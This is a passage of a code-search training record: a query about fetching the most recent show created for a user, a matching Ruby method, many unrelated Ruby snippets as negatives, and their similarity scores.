release_no_delay?\n\n # If this isn't an embargo, just return release_date from database\n return self[:release_date] unless release_max_embargo?\n\n # Otherwise (if an embargo), return latest embargo date by adding specified months to today's date\n Time.zone.today + RELEASE_EMBARGO_PERIODS.fetch(release_period).months\n end", "def current_period_end_date\n next_period = current_period_start_date + PERIODICITY\n if (Date.today.month == 1 && start_at.day >= 29) || start_at.day == 31\n # In january, the next month will be February: special rule\n next_period.end_of_month - 1.day\n else\n Date.new(next_period.year, next_period.month, start_at.day) - 1.day\n end\n end", "def new_sale_price \n noi(num_years_to_hold + 1) / cap_rate(num_years_to_hold + 1)\n end", "def end_date\n @transactions.empty? ? nil : sorted_transactions.last.transaction_at\n end", "def reserve_for(desired_showdate, processor, new_comments='')\n if reserved?\n errors.add :base,\"This ticket is already holding a reservation for #{reserved_date}.\" and return nil\n raise ReservationError\n end\n redemption = valid_voucher_adjusted_for processor,desired_showdate\n if processor.is_boxoffice || redemption.max_sales_for_this_patron > 0\n reserve!(desired_showdate, new_comments)\n else\n errors.add :base,redemption.explanation\n raise ReservationError\n end\n end", "def retrieve_date_range\n\t\t@free_period = false\n\t\t@from, @to = nil, nil\n\t\tperiod_type = session[:wkassetdepreciation][:period_type]\n\t\tperiod = session[:wkassetdepreciation][:period]\n\t\tfromdate = session[:wkassetdepreciation][:from]\n\t\ttodate = session[:wkassetdepreciation][:to]\n\t\t\n\t\tif (period_type == '1' || (period_type.nil? && !period.nil?)) \n\t\t case period.to_s\n\t\t\t when 'today'\n\t\t\t\t@from = @to = Date.today\n\t\t\t when 'yesterday'\n\t\t\t\t@from = @to = Date.today - 1\n\t\t\t when 'current_week'\n\t\t\t\t@from = getStartDay(Date.today - (Date.today.cwday - 1)%7)\n\t\t\t\t@to = @from + 6\n\t\t\t when 'last_week'\n\t\t\t\t@from =getStartDay(Date.today - 7 - (Date.today.cwday - 1)%7)\n\t\t\t\t@to = @from + 6\n\t\t\t when '7_days'\n\t\t\t\t@from = Date.today - 7\n\t\t\t\t@to = Date.today\n\t\t\t when 'current_month'\n\t\t\t\t@from = Date.civil(Date.today.year, Date.today.month, 1)\n\t\t\t\t@to = (@from >> 1) - 1\n\t\t\t when 'last_month'\n\t\t\t\t@from = Date.civil(Date.today.year, Date.today.month, 1) << 1\n\t\t\t\t@to = (@from >> 1) - 1\n\t\t\t when '30_days'\n\t\t\t\t@from = Date.today - 30\n\t\t\t\t@to = Date.today\n\t\t\t when 'current_year'\n\t\t\t\t@from = Date.civil(Date.today.year, 1, 1)\n\t\t\t\t@to = Date.civil(Date.today.year, 12, 31)\n\t end\n\t\telsif period_type == '2' || (period_type.nil? && (!fromdate.nil? || !todate.nil?))\n\t\t begin; @from = fromdate.to_s.to_date unless fromdate.blank?; rescue; end\n\t\t begin; @to = todate.to_s.to_date unless todate.blank?; rescue; end\n\t\t @free_period = true\n\t\telse\n\t\t # default\n\t\t # 'current_month'\t\t\n\t\t\t@from = Date.civil(Date.today.year, Date.today.month, 1)\n\t\t\t@to = (@from >> 1) - 1\n\t end \n\t\t\n\t\t@from, @to = @to, @from if @from && @to && @from > @to\n\n\tend", "def calculate_time_from_to_cost\n\n time_cost = SystemConfiguration::Variable.get_value('booking.pickup_return_timetable_out_price', '0')\n if time_cost != '0'\n\n # Check if the reservation correspond to the main season or not\n main_season_month_from = SystemConfiguration::Variable.get_value('booking.pickup_return_main_season.month_from', 1).to_i\n main_season_day_from = SystemConfiguration::Variable.get_value('booking.pickup_return_main_season.day_from', 1).to_i\n main_season_month_to = SystemConfiguration::Variable.get_value('booking.pickup_return_main_season.month_to', 12).to_i\n main_season_day_to = SystemConfiguration::Variable.get_value('booking.pickup_return_main_season.day_to', 31).to_i\n\n if main_season_month_from == 1 and main_season_day_from == 1 and main_season_month_to == 12 and main_season_day_to == 31\n timetable_id = SystemConfiguration::Variable.get_value('booking.pickup_return_timetable','0').to_i\n else\n # JAN DIC\n # -------------------------------------\n # ^=======================^\n # from to\n if main_season_month_from <= main_season_month_to or \n (main_season_month_from == main_season_month_to and main_season_day_from <= main_season_day_to) \n if (@date_from.month >= main_season_month_from or \n (@date_from.month == main_season_month_from and @date_from.day >= main_season_day_from)) and\n (@date_to.month <= main_season_month_to or \n (@date_to.month == main_season_month_to and @date_to.day <= main_season_day_to)) # In main season\n timetable_id = SystemConfiguration::Variable.get_value('booking.pickup_return_timetable','0').to_i\n else # Out of season\n timetable_id = SystemConfiguration::Variable.get_value('booking.pickup_return_timetable_out_of_season','0').to_i\n end\n else\n # JAN DIC\n # -------------------------------------\n # ======^ ^======\n # to from\n if ((@date_from.month >= main_season_month_from or\n (@date_from.month == main_season_month_from and @date_from.day >= main_season_day_from)) or\n (@date_from.month <= main_season_month_to or \n (@date_from.month == main_season_month_to and @date_from.day <= main_season_day_to))\n ) and\n ((@date_to.month >= main_season_month_from or\n (@date_to.month == main_season_month_from and @date_to.day >= main_season_day_from)) or\n (@date_to.month <= main_season_month_to or\n (@date_to.month == main_season_month_to and @date_to.day <= main_season_day_to))) # In main season\n timetable_id = SystemConfiguration::Variable.get_value('booking.pickup_return_timetable','0').to_i\n else # Out of season\n timetable_id = SystemConfiguration::Variable.get_value('booking.pickup_return_timetable_out_of_season','0').to_i\n end\n end\n end\n\n #p \"timetable_id: #{timetable_id} -- main season: #{main_season_day_from}-#{main_season_month_from} #{main_season_day_to}-#{main_season_month_to}\"\n\n time_cost = BigDecimal.new(time_cost)\n if timetable_id > 0\n if timetable = ::Yito::Model::Calendar::Timetable.get(timetable_id)\n @time_from_cost = calculate_time_cost(@date_from, @time_from, time_cost, timetable)\n @time_to_cost = calculate_time_cost(@date_to, @time_to, time_cost, timetable)\n end\n end\n\n end\n end", "def generate_payments start_date, end_date\n \tdates = start_date.step( end_date ).\n \t select { |date| date.day == bill.due_on }.\n \t map { |date| Payment.from date, bill, self }\n end", "def next_available_delivery_date\n now = Time.zone.now\n next_available_date = next_available(now)\n\n if(!Config.processing_cut_off_enabled? || (processing_cut_off.nil? || now < now.change(hour: processing_cut_off.hour, min: processing_cut_off.min)))\n return next_available_date\n end\n\n next_available(next_available_date)\n end", "def last_active_recurring_product_subscription_term_cancel_on\n if end_date = self.last_active_recurring_product_subscription_term_period_end_on\n end_date - 3.days\n end\n end", "def pro_rata_end_date\n (subscription_start_date - 1.day).to_date # unless subscription_start_date.blank?\n end", "def not_renewable?\n return true unless self.class == CartReservation || self.status == \"reserved\"\n reserver.reservations.each do |res|\n if res.equipment_model == self.equipment_model && res.due_date.to_date == self.start_date.to_date && res.is_eligible_for_renew?\n errors.add(:base, res.equipment_model.name + \" should be renewed instead of re-checked out.\\n\")\n return false\n end\n end\n return true\n end", "def pricing_policy\n car.pricing_policy\n end", "def cal_price(plans, s_date, e_date)\n\t\tstart_date = Date.parse(s_date)\n\t\tend_date = Date.parse(e_date)\n\t\tremainrooms = Remainroom.where(room_date: start_date...end_date)\n\t\tplan_ids = plans.map {|p| p.id }\n\t\tresult_hash = {}\n\t\tremainrooms.each do |r_room|\n\t\t\tr_room_ids = r_room.room_prices\n\t\t\tr_room_hash = eval(\"#{r_room_ids}\")\n\t\t\tplan_ids.each do |p_id|\n\t\t\t\tif result_hash[p_id] == nil\n\t\t\t\t\tresult_hash[p_id] = 0\n\t\t\t\tend\n\t\t\t\tresult_hash[p_id] += r_room_hash[p_id].to_i\n\t\t\tend\n\t\tend\n\t\treturn result_hash\n\tend", "def list_price\n support_product_number = type == 'hw' ? 'HA104A' : 'HA107A'\n year1 = PricingDbHpPrice.option_price(:product_number => support_product_number, :year => 1, :option_number => option_number)\n year3 = PricingDbHpPrice.option_price(:product_number => support_product_number, :year => 3, :option_number => option_number)\n year4 = PricingDbHpPrice.option_price(:product_number => support_product_number, :year => 4, :option_number => option_number)\n @list_price = [(year4 - year3)/BigDecimal(\"12.0\"), (year3 - year1)/BigDecimal(\"24.0\")].max\n end", "def last_day_of_extended_grace_window\n (expiry_date + Rails.configuration.expires_after.years) - 1.day\n end", "def expire!\n successor = BillingPeriod.create! booking: booking,\n start_date: start_of_next_period\n successor.delay.charge!\n end", "def availability start_time, end_time\n hours = ((end_time - start_time) / 3600).round - 1\n available = (0..hours).to_a.collect do |hour|\n best_selling_price_at(start_time + hour.hours, [start_time, end_time])\n end.compact\n\n available.length*1.0 / (hours+1)*1.0 * 100\n end", "def profit(start_date, end_date)\n price(end_date) - price(start_date)\n end", "def effective_age_calculation_base_date\n age_calculation_base_date || start_date\n end", "def available?(start_date, end_date)\n unless self.reservations.any? { |res| start_date.to_date.between?(res.checkin, res.checkout) || end_date.to_date.between?(res.checkin, res.checkout)} \n true\n end\n end", "def set_start_end_time\n @start_date = Time.zone.local(*params[:reservation].sort.map(&:last)\n .map(&:to_i))\n @end_date = @start_date + params[:hours].to_i.hours\n end", "def projection_end_date\n @projection_end_date ||= [latest_historical_balance.date, END_OF_TIME].max\n end", "def study_plan_last_approver\n if study_plan\n study_plan.last_approver\n end\n end", "def available_time_slot date_of_booking\n\t\tif date_of_booking.gsub(/[-]+/,\"\").to_i != Time.zone.now.strftime(\"%Y%m%d\").to_i\n\t\t\tresource_slot = self.timeslots\n\t\t\tif self.bookings.where(date_of_booking:date_of_booking).where(status:1)\n\t\t\t\tbookings_of_day = self.bookings.where(date_of_booking: date_of_booking).where(status:1)\n\t\t\t\tbookings_of_day.each do |x|\n\t\t\t\t\tresource_slot.delete_at(x.slot)\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\tresource_slot = next_time_slots\n\t\tend\n\t\tresource_slot\n\tend", "def get_oil_price_obj(date)\n oil_price_obj = OilPrice.where('date <= ?', date).order(date: :desc).limit(1)[0]\n if oil_price_obj == nil\n oil_price_obj = OilPrice.order(date: :asc).limit(1)[0]\n end\n return oil_price_obj\n end", "def stock_picker(prices)\n combinations = prices.combination(2).to_a\n profits = combinations.map { |days| days[1] - days[0] }\n (0...prices.size).to_a.combination(2).to_a[profits.index(profits.max)]\nend", "def applydate(candidate)\n unless candidate[:date_applied] >= 15.days.ago.to_date\n raise StandardError, 'candidate applied too long ago'\n end\nend", "def date_highest_income_method(rides_array)\n rides_array.max_by { |ride_hash| ride_hash[:cost] }[:date]\nend", "def reservations(base = self.date_from)\n\t\t\t\t\t@reservations = {} if @reservations.nil?\n\t\t\t\t\tif @reservations[base.to_s].nil?\n\t\t\t\t\t\t@reservations[base.to_s] = RicReservation.reservation_model.event(self, base)\n\t\t\t\t\tend\n\t\t\t\t\treturn @reservations[base.to_s]\n\t\t\t\tend", "def calculate_earliest_pickup_date(action)\n earliest_date = Date.today\n case action\n when :create\n session[:shopping_cart].each do |element|\n product = Product.find(element[:product_id])\n earliest_date = product.release_date unless ((product.release_date.nil?)||(product.release_date <= earliest_date))\n end\n when :update\n @order.order_products.each do |order_product|\n product = order_product.product\n earliest_date = product.release_date unless ((product.release_date.nil?)||(product.release_date <= earliest_date))\n end\n end\n return earliest_date\n end", "def book_return_date\n max_brw_days = Library.find(self[:library_id]).max_borrow_days\n start_date = self[:start]\n\n if !start_date.nil?\n last_date = start_date + max_brw_days.days\n return last_date.to_date.strftime(\"%b-%d-%Y\")\n end\n end", "def stock_picker(prices)\n buy_date = 0\n sell_date = 0\n max_profit = 0\n \n (0...prices.size).each do |buy|\n ((buy + 1)...prices.size).each do |sell|\n \n profit = prices[sell] - prices[buy] \n if max_profit < profit\n max_profit = profit\n buy_date = buy\n sell_date = sell\n end\n end\n end\n [buy_date, sell_date]\nend", "def end_date\n @records.max { |a,b| a[:date] <=> b[:date] }[:date]\n end", "def build_ends_at(entity, begins_at)\n reservation_periods = entity.reservation_periods.includes(:period_unit)\n if reservation_periods.empty?\n # The entity does not have any reserve periods: insert a temporary fake reserve period of a half hour to use for building the length\n reservation_periods = [build(:reservation_period, period_unit: TimeUnit.find_by!(key: 'half_hour'))]\n end\n\n # Determine minimum and maximum length we want to allow\n min_length = entity.min_reservation_length_seconds || 0\n if entity.max_reservation_length_seconds.present?\n max_length = entity.max_reservation_length_seconds # Use the defined maximum length\n else\n # The max length is 50 times the largest reserve period with a maximum of one year (for performance reasons)\n max_length = [reservation_periods.sort_by(&:length).last.length * 50, 1.year].min\n end\n\n desired_length = min_length + rand(max_length - min_length) # The desired length of the reservation we want to at least achieve. This is a random function that centers between the min and max length.\n\n # Build a length which is a combination of random reserve periods and is at least the desired length (and at most the maximum length)\n length = 0\n while length < desired_length do\n max_remaining_length = max_length - length # Determine the remaining length we can use\n reservation_period = reservation_periods.select { |rp| rp.length < max_remaining_length }.sample # Pick a random reserve period that does not exceed this length\n if reservation_period.present?\n length += reservation_period.length # Apply the reserve period\n else\n break # Stop building length if we cannot find a suitable reservation_period anymore\n end\n end\n\n begins_at + length\nend", "def estimated_end_date\n start_date + 12.days\n end", "def set_last_as_unpaid\n active_period = self.find_active_period\n old_period = self.periods[-2]\n old_period.used += active_period.used\n self.total_used += self.active_used\n active_period.destroy && old_period.save && self.save\n end", "def active_expiration_dates\n active_adjustments.map do |adjustment|\n if adjustment&.expiration_year.present?\n Date.new.change(day: 1, month: adjustment.expiration_month || 1, year: adjustment.expiration_year)\n end\n end.compact.uniq.sort\n end" ]
[ "0.5751576", "0.5749396", "0.56607026", "0.56480443", "0.55638945", "0.55220366", "0.5513777", "0.5502743", "0.548693", "0.5477138", "0.5470819", "0.5432807", "0.5427598", "0.53897786", "0.53612137", "0.53344107", "0.53339636", "0.5318268", "0.5316101", "0.53052264", "0.53042006", "0.5302159", "0.52867264", "0.5286177", "0.5281651", "0.5265902", "0.52647674", "0.5260095", "0.52556956", "0.5252148", "0.524417", "0.52254087", "0.52049714", "0.51982903", "0.5197503", "0.51891685", "0.51869535", "0.51868075", "0.5181919", "0.51707715", "0.5166198", "0.51647866", "0.51605815", "0.5152796", "0.51505744", "0.51419497", "0.5130994", "0.5124174", "0.51122457", "0.5110632", "0.5109334", "0.5106885", "0.5106301", "0.5104336", "0.51022965", "0.50995123", "0.5098877", "0.509664", "0.50837994", "0.50741065", "0.50734615", "0.506958", "0.50694454", "0.5056777", "0.5049785", "0.5023205", "0.50220114", "0.50202936", "0.5013833", "0.501332", "0.50065625", "0.50014746", "0.50002766", "0.49976122", "0.49873558", "0.49866164", "0.49820355", "0.49818316", "0.49785766", "0.49751607", "0.4974883", "0.4969329", "0.49652788", "0.49641213", "0.49621278", "0.4961752", "0.49608043", "0.4958481", "0.4955465", "0.49502122", "0.4949492", "0.4947884", "0.49395582", "0.49348605", "0.4929589", "0.49248785", "0.49107763", "0.49105355", "0.4908376", "0.49080557" ]
0.66259307
0
Get the most recent show created for a user
def current_show shows.order('created_at DESC').first end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_recent_view\n shows = Show.joins(:interests).where('interests.user_id' => self.id,\n 'interests.click' => [0,1]).order('interests.created_at DESC').limit(5)\n return shows.all\n end", "def recent\n self.order('created_at DESC')\n end", "def most_recent_user\n \tuser = User.find(last_poster_id)\n \treturn user\n end", "def show\n @user = User.friendly.find(params[:id])\n @user_posts = @user.posts.all.order(\"created_at desc\")\n @posts = Post.all.order(\"created_at desc\")\n end", "def set_most_recent\n @recent = User.order(\"created_at\").last\n end", "def last\r\n user = params[:user] || nil\r\n streams = user.nil? ? Stream.last(10) : Stream.where(user_id: user).last(10)\r\n render json: streams\r\n end", "def entries user_id, num = 1, offset = 0, day = 30000000\n ActivityEntry.recent_most user_id, self.id, num, offset, day\n end", "def get_recent_fav\n shows = Show.joins(:interests).where('interests.user_id' => self.id,\n 'interests.click' => 2).order('interests.created_at DESC').limit(5)\n return shows.all\n end", "def recent\n @user = User.find params[:id]\n @active_menu = :collections\n @empty_msg = \"As you check out things in RecipePower, they will be remembered here.\"\n response_service.title = \"Recently Viewed\"\n smartrender unless do_stream UserRecentCache\n end", "def recent_sets(user)\n @recent_sets ||= exercise_sets.where(user: user, created_at: (Time.zone.now - 3.hours)..Time.zone.now)\n end", "def show\n @events = Event.where(user_id: current_user.id).order('created_at DESC')\n end", "def latest(user)\n public_replies(user).last\n end", "def recent_users(order = \"id DESC\", limit = 5)\n User.all(:order => order, :limit => limit)\n end", "def recent(page = 1, limit = 10)\n reverse_order(:created_at).paginate(page,limit)\n end", "def recent_events\n Event.includes(:user).where(group_id: self.id).limit(50).order(created_at: :desc).reverse\n end", "def display\n @newscasts ||= Newscast.order(created_at: :desc).includes(:user)\n end", "def show\n @user = User.find(params[:id])\n fresh_when :last_modified => @user.updated_at.utc, :etag => @user\n end", "def recent_users\n respond_with json_response(\n 'recent_users',\n User.all.order('created_at DESC').first(5)\n )\n end", "def recent_posts(count: 10)\n Post.reorder(updated_at: :desc).where(user_id: id).limit(count)\n end", "def recently_saved_by(user, options = {})\n relation = user.listing_saves\n if options[:limit].present?\n relation = relation.limit(options[:limit])\n end\n if options[:exclude_sellers].present?\n exclude_seller_ids = Array.wrap(options[:exclude_sellers]).compact.map { |u| u.is_a?(User) ? u.id : u }\n relation = relation.joins(:listing).\n where(\"#{Listing.quoted_table_name}.seller_id NOT IN (?)\", exclude_seller_ids)\n end\n relation.order(\"#{ListingCollectionAttachment.quoted_table_name}.created_at DESC\")\n end", "def show\n session[:recent_shows] ||= []\n post_hash = {:title => @post.title, :id => @post.id.to_s}\n\n unless session[:recent_shows].include?(post_hash)\n session[:recent_shows].push(post_hash)\n end\n\n if session[:recent_shows].length > 3\n # 末尾3つを残す\n length = session[:recent_shows].length\n session[:recent_shows] = session[:recent_shows][length-3..-1]\n end\n end", "def show\n @dealer_cars = Car.where(user_id: @dealer.user.id).order('created_at DESC').page(params[:page]).per_page(10)\n @latest_cars = Car.last(10)\n end", "def show\n if current_user\n @last_posted_at = Time.current\n end\n end", "def most_recent_recipe\n most_recent_recipe = RecipeCard.all.select {|atr| atr.user.name == self.name}\n most_recent_recipe.sort_by {|atr| atr.date}.reverse[0]\n end", "def show\n @member = Member.find(params[:id])\n @tracks = @member.tracks.latest\n end", "def show\n @post = storage.friendly.find(params[:id])\n @posts = Post.most_recent.limit(2)\n end", "def recent(u, params)\n Argument.publics.all(:conditions => {:debate_id => Debate.public.without_practice_debate.collect(&:id)},\n :order => 'arguments.id DESC').select{|a| a.visible_to?(u)}.paginate :page => params[:page], :per_page => 50\n end", "def show\n @user = User.find(params[:id])\n @activities = PublicActivity::Activity.where(owner_type: \"User\", owner_id: @user.id).limit(5).order(\"created_at DESC\")\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end", "def show\n @messages = Message.order(created_at: :asc).last(20)\n end", "def most_recent\n Visit.all.sort_by{|visit| visit.timestamps}.last\n end", "def most_popular_show\n Show.highest_rating\nend", "def last_entry user_id\n ActivityEntry.where(user_id: user_id, activity_id: self.id).maximum(:day)\n end", "def last_posts(options = {})\n params = { \n :owner_id => user.identifier,\n :count => 100, \n :filter => \"owner\", \n :offset => 0\n }\n\n params.merge!(options)\n\n fetch_all_method_items_with_days(\"wall.get\", params)\n end", "def most_recent\n self.stats.first\n end", "def show\n @activities = PublicActivity::Activity.order(\"created_at desc\").where(owner_id: @profile.user.id, owner_type: \"User\")\n end", "def recent_activities()\n get(\"/user/#{@user_id}/activities/recent.json\")\n end", "def index\n @last_episodes = current_user.last_episodes\n end", "def index\n @viewers = Viewer.all.order(\"created_at desc\")\n end", "def favorite(category, user)\n shows_by_category = user.shows.group_by({|show| show.send(category.downcase + \"_id\")})\n category_count = shows_by_category.each { |k,v| shows_by_category[k] = v.count}\n if category_count.empty?\n \"None.\"\n else\n Object.const_get(category).find(category_count.max_by{|k,v| v}[0]).name\n end\nend", "def most_recent_recipe\n self.find_user_recipe_cards.sort_by{|rcard| rcard.date}[-1]\n end", "def latest_viewable_resource(user: nil)\n return latest_resource_with_public_metadata if user.nil?\n\n lr = latest_resource\n return lr if lr&.admin_for_this_item?(user: user)\n\n latest_resource_with_public_metadata\n end", "def sorted_history(user)\n return (user.apicalls.sort do |a,b| b.created_at <=> a.created_at end)\n end", "def show\n @user_entries = Entry.find( :all, \n :conditions => [\"created_by = ?\", params[:user_name]],\n :order => \"created_at DESC\")\n @user_comments = Comment.find ( :all,\n :conditions => [\"created_by =?\", params[:user_name]],\n :order => \"created_at DESC\",\n :include => :entry)\n @user_favorites = @user.favorites.find (:all, :order => \"created_at DESC\")\n @user_favcoms = @user.favcoms.find (:all, :order => \"created_at DESC\")\n end", "def show\n @user = User.find(params[:id])\n @events = Event.where(creator_id: @user.id).all\n @past_events = @events.past\n @future_events = @events.upcoming\n @previous_events = @user.attended_events.past\n @upcomming_events = @user.attended_events.upcoming\n end", "def newest\n @newest = User.find_paginated_newest :page => params[:page], :per_page => 3\n render :partial => 'newest'\n end", "def show\n @user = current_user\n @event = @user.events.last\n @title = @user.email\n end", "def show\n @microposts = @user.microposts.order(created_at: :desc)\n end", "def show\n @post = Post.find(params[:id]) #Go find the latest post from the DB\n end", "def show\n @posts = Post.where(author_uid: @user.uid, show: true).limit(9).order('created_at desc')\n @count = Post.where(author_uid: @user.uid, show: true).count()\n end", "def recent(n=5)\r\n # rather nasty sql since we can't use max() in having clause with postgres\r\n # so we run the query twice to find five most recent users and join to get\r\n # the respective timelines that contained those events\r\n sql = <<-SQL\r\n SELECT timeline_id FROM\r\n (SELECT user_id, max(coalesce(timeline_events.modified_at, timeline_events.created_at)) AS date \r\n FROM timeline_events JOIN timelines ON (timeline_id = timelines.id)\r\n GROUP BY user_id\r\n ORDER BY date DESC LIMIT #{n}) AS recent_by_user,\r\n (SELECT timeline_id, user_id, max(coalesce(timeline_events.modified_at, timeline_events.created_at)) AS date \r\n FROM timeline_events JOIN timelines ON (timeline_id = timelines.id)\r\n GROUP BY timeline_id, user_id) AS recent_by_timeline\r\n WHERE recent_by_user.user_id = recent_by_timeline.user_id AND recent_by_user.date = recent_by_timeline.date;\r\n SQL\r\n \r\n result = connection.select_values(sql)\r\n Timeline.where(:id => result).all\r\n end", "def index\n @shows = Show.where(\"show_date >= ?\", Time.zone.now.to_date).order(\"show_date\")\n end", "def user\n logger.warn(\"DEBUG: getting user for %p\" % self.wedgetail)\n User.find_by_wedgetail(self.wedgetail,:order=>\"created_at desc\")\n end", "def show\n @member_cars = Car.where(user_id: @member.user.id).order('created_at DESC').page(params[:page]).per_page(10)\n @latest_cars = Car.last(10)\n end", "def showMostSearched\n @user = User.order('counter DESC').limit(params[:limit])\n render json: @user\n end", "def recent_activities\n get(\"/user/#{@user_id}/activities/recent.json\")\n end", "def lastCreated\n \t@persona = Personal.order(\"created_at DESC\").limit(4)\n end", "def most_recent_recipe\n self.find_recipe_card_by_user.sort_by {|v| v.date}.last.recipe.name\n end", "def last_share_at\n shares.maximum(:created_at)\n end", "def show\n @user = User.find_by!(username: params[:username])\n #This saves user tweets in desc order.\n @tweets = @user.tweets.order(created_at: :desc)\n end", "def fetch_latest_from_queue(user)\n redis_activity = $redis.lrange(redis_key_for_user(user), 0, KEEP_ACTIVITY_ITEMS - 1)\n\n preload_tour_ids = []\n\n redis_activity.map do |activity_json|\n activity_json = JSON.parse(activity_json)\n preload_tour_ids << activity_json['t_id']\n end\n\n preload_tour_ids = preload_tour_ids.compact.map(&:to_i).uniq\n tours = Tour.active.where(id: preload_tour_ids).order('updated_at desc') if preload_tour_ids\n tours\n end", "def show\n posts = policy_scope(@user.posts)\n postables = posts.map(&:postable).uniq\n\n @postables = postables.map do |p|\n [p, p.posts.where(user: @user).last, p.posts.where(user: @user).count]\n end\n @postables.sort! do |a, b|\n b[1].created_at <=> a[1].created_at\n end\n\n @postables = Kaminari.paginate_array(@postables)\n .page(params[:page])\n .per(15)\n end", "def show\n @user = User.friendly.find(params[:id])\n @posts = @user.posts.order(:created_at).page params[:page]\n end", "def recent\n @limit = 10\n @webhooks = Webhook.limit(@limit).order(id: :desc)\n end", "def show_my_disposisi\n\t\t@user = UserDisposisi.where(user_id: params[:user_id]).order(id: :desc).limit(20)\n\t\trender json: @user\t\n\tend", "def recent_topics(count: 10)\n Topic.reorder(updated_at: :desc).where(user_id: id).limit(count)\n end", "def show\n @selected_user = User.find_by_id(params[:id])\n @activities = @selected_user.activities.order(\"created_at DESC\")\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @activities }\n end\n end", "def last_question (user)\n return user.answers.every.desc(:created_at).limit(1).first\n end", "def most_recent_recipe\n self.user_recipe_cards.sort_by do |card|\n card.date\n end.last\n end", "def index\n @orders = Order.where(user: current_user).latest_created_first\n end", "def most_unique\n records = @logs.records.sort_by(&:unique).reverse\n @view.display_most_unique(records)\n end", "def show\n @created_user = User.find(@purchase.added_by)\n end", "def show\n @chance = @user.chance\n @loans = @user.loans.order(purchase_date: :desc)\n end", "def show \n @motives_history = MotiveEmployee.where(employee_id: params[:id]).order(\"created_at DESC\") \n end", "def show\n if @user\n #fresh_when last_modified: @user.updated_at\n #expires_in 2.minutes\n #response.headers[\"Expires\"] = 1.minutes.from_now.httpdate\n puts \"\\e[31minside action\\e[0m\"\n @microposts = @user.microposts.newest.paginate page: params[:page],\n per_page: Settings.app.models.micropost.microposts_per_page\n else\n flash[:danger] = t \"controllers.users_controller.user_not_found\"\n redirect_to :root\n end\n end", "def show\n @user_createdby = User.find(@meeting.created_by)\n end", "def set_most_recent\n @recent = Resident.order(\"created_at\").last\n end", "def most_active_user\n \n end", "def show\n @user = User.find(params[:id])\n @last_private_post = Post.find_by_receiver_id(current_user)\n @last_post = Post.find_by_class_room_id(current_user.class_room);\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @user }\n end\n end", "def most_recent_review\n\t\tself.reviews.sort_by{ |review| review.id }.reverse.first\n\tend", "def index\n @visions = Vision.order(\"created_at DESC\").limit(1).where(:user == current_user)\n end", "def top_comm\n\t\t\t@commenters = User.all.order('comments.id DESC').joins('LEFT JOIN comments ON \n\t\t\t\tcomments.user_id == users.id').group('users.id').where('comments.created_at >= ?',\n\t\t\t\t1.week.ago.utc).limit(10)\n\t\tend", "def show\n @lastest_news = Publication.latest_news\n end", "def show\n @user = User.find(params[:id])\n @microposts = @user.microposts.order(created_at: :desc)\n end", "def show\n @active_goals = @supported_user.goals.where(:active => true)\n @recent_journal_entries = @supported_user.journal_entries.order(:dateTimeOfTraining).reverse.last(20)\n end", "def index\n @runs = current_user.runs.order(date_of: :desc, created_at: :desc)\n end", "def latest_comments\n self.comments.order(created_at: :desc)\n end", "def show\n\t\t@user = current_user\n\t\t@profile = @user.profile\n\t\t@bodylog = @user.bodylogs.find(:last)\n\t\t@bodylogs = @user.bodylogs.order('created_at DESC').all #necessary for the calculators\n\tend", "def user_posts\n @user = User.find_by_id(params[:id])\n #check if the user exists! If they don't redirect to the last page\n if @user\n #posts sorted by date descending\n @posts = @user.posts.sort { |p1, p2| p2.created_at <=> p1.created_at}\n else\n redirect_to(session[:last_page]) unless @user\n end\n end", "def index\n @tv_shows = TvShow.all\n if user_signed_in?\n if current_user.child?\n @my_tv_shows = TvShow.where([\"user_id = :u\", {u: current_user.following[0].id}])\n else\n @my_tv_shows = TvShow.where([\"user_id = :u\", {u: current_user.id}])\n end\n end\n end", "def set_most_recent\n @recent = Doctor.order(\"created_at\").last\n end", "def last_submission\n Submission.find_by_sql(\" select * from submissions\n where exercise_id = #{exercise_id} AND\n user_id = #{user_id}\n order by created_at desc\n limit 1\").first\n end", "def recent_activities(count: 10)\n posts = Post.reorder(updated_at: :desc).where(user_id: id).limit(count)\n topics = Topic.reorder(updated_at: :desc).where(user_id: id).limit(count)\n activities = posts + topics\n activities.sort! { |x, y| y.updated_at <=> x.updated_at }\n activities.first(count)\n end", "def applicable_audit\n user.versions.where(\"created_at <= ?\", date.end_of_day).reorder(created_at: :desc).limit(1).first\n end", "def get_recent_vitals\n earliest = 2.years.ago\n vital_signs.timelimit(earliest).desc(:time)\n end", "def show\n @uri = params[:uri]\n @visitors = Log.select('users.email, date(logs.created_at)').where(uri: params[:uri]).joins(:user).order('\"date(logs.created_at)\" DESC')\n\n @visitors = @visitors.page(params[:page]).per(1)\n end", "def most_pop_time()\n sql = \"SELECT show_time, COUNT(tickets.*) FROM tickets INNER JOIN screens\n ON tickets.screen_id = screens.id GROUP BY show_time ORDER BY count DESC limit 1\"\n values = []\n tickets_count = SqlRunner.run(sql, values)\n return tickets_count.first[\"show_time\"]\n end", "def newest\n @client = Client.recent.first\n respond_with(@client)\n end", "def get_shows(tourid)\n return Show.where(\"tour_id = '\" + tourid.to_s + \"'\").order(\"date\")\n end", "def get_shows(tourid)\n return Show.where(\"tour_id = '\" + tourid.to_s + \"'\").order(\"date\")\n end", "def latest_dosage\n dosages.order(date_given: :desc).first\n end" ]
[ "0.6737024", "0.6666001", "0.63969785", "0.6387438", "0.63084865", "0.6206757", "0.61690277", "0.6145733", "0.61400074", "0.6044594", "0.6039638", "0.60305357", "0.6007029", "0.60060525", "0.5985517", "0.5974664", "0.59687203", "0.59336776", "0.5930878", "0.59305674", "0.591717", "0.590898", "0.5904408", "0.58958286", "0.58737046", "0.5866705", "0.58664566", "0.58622485", "0.58600265", "0.5834946", "0.5827664", "0.58085066", "0.58082247", "0.57978827", "0.5788451", "0.57719433", "0.5769684", "0.57667553", "0.57644933", "0.5760866", "0.57566756", "0.5756034", "0.57534236", "0.574806", "0.5747933", "0.5744539", "0.5732034", "0.5725859", "0.571816", "0.57115835", "0.5699065", "0.56990546", "0.5698052", "0.5697682", "0.5694234", "0.5691299", "0.56912243", "0.5690887", "0.56876737", "0.56857014", "0.5681244", "0.56801474", "0.56800807", "0.5671716", "0.5667822", "0.56544197", "0.5646006", "0.56429684", "0.5628562", "0.56216824", "0.56204027", "0.5616894", "0.5615953", "0.5615919", "0.56158006", "0.5612377", "0.56095636", "0.5605924", "0.56038153", 